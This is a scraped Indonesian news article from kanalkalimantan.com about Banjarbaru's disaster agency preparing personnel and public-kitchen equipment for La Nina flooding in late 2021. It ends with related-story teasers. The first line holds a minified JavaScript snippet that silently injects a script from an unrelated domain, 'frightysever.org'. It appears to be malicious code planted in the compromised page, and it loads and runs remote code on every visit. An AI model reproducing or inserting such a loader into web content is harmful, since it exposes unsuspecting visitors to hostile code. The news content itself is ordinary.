(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menghadapi La Nina di penghujung tahun 2021 yang menimbulkan potensi bencana, BMKG berikan warning.
La Nina diperkirakan terjadi di Indonesia hingga di akhir tahun 2021 atau awal 2022, antara bulan Desember, Januari dan Februari. Fenomena tersebut ditandai dengan peningkatan curah hujan di sebagian besar wilayah Indonesia.
Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru meminta berbagai pihak baik pemerintah maupun masyarakat untuk mempersiapkan diri dalam segala kemungkinan.
Kepala Pelaksana Harian (Kalakhar) BPBD Kota Banjarbaru, Zaini Syahranie mengatakan, pihaknya sudah standbykan 60 anggota untuk persiapan apabila terjadi bencana.
Baca juga : Gubernur Kalsel Tinjau Vaksinasi Bergerak di HSU
“Kami (BPBD) juga menyiapkan sarana prasarana persiapan apabila terjadi bencana dan memerintahkan TRC terus memonitor apabila ada tanda-tanda ada kenaikan air,” katanya.
Berkaca pada bencana di awal tahun lalu, BPBD Kota Banjarbaru sangat kekurangan mengenai sarana dan prasarana.
“Alhamdulillah sekarang perlengkapan kita sudah memadai,” ucapnya
“Dan sekarang kita juga ada perlengkapan dapur umum, yang bisa memback-up 20 kelurahan,” tambahnya.
Baca juga : Algrin Gasan: Pemkab Harus Konsisten Laksanakan PP 49 2018 Tentang PPPK
Dijelaskan Zaini walau dapur umum ini bukan tupoksinya, tapi melihat bencana awal tahun lalu yang kekurangan perlengkapan dapur umum. Pengadaan dapur umum ini semata-mata untuk membantu masyarakat dan bila masyarakat memerlukan disertai tenaga yang memadai, maka akan dipinjamkan perlengkapan dapur umum ke masyarakat
“Jika dari Dinsos kewalahan, kita (BPBD) insyaallah siap dan lengkap perlengkapannya,” ujarnya
“Kalau kelurahan perlu atau dalam keadaan darurat lapor ke BPBD, akan kami pinjami perlengkapan dapur umum,” janjinya
Ditegaskan Zaini, BPBD tidak ada tupoksi menangani dapur umum, tupoksi dapur umum ada di Dinsos. Karena ada tawaran di BNPB mengenai pengadaan dapur umum, pihaknya langsung menerimanya.
“Sudah bicara juga dengan Dinsos kalau terjadi bencana yang mengurus dapur umum ini tetap Dinsos, kami akan tetap pada tupoksi kami evakuasi, koordinasi dan komando,” tegasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
This website uses cookies.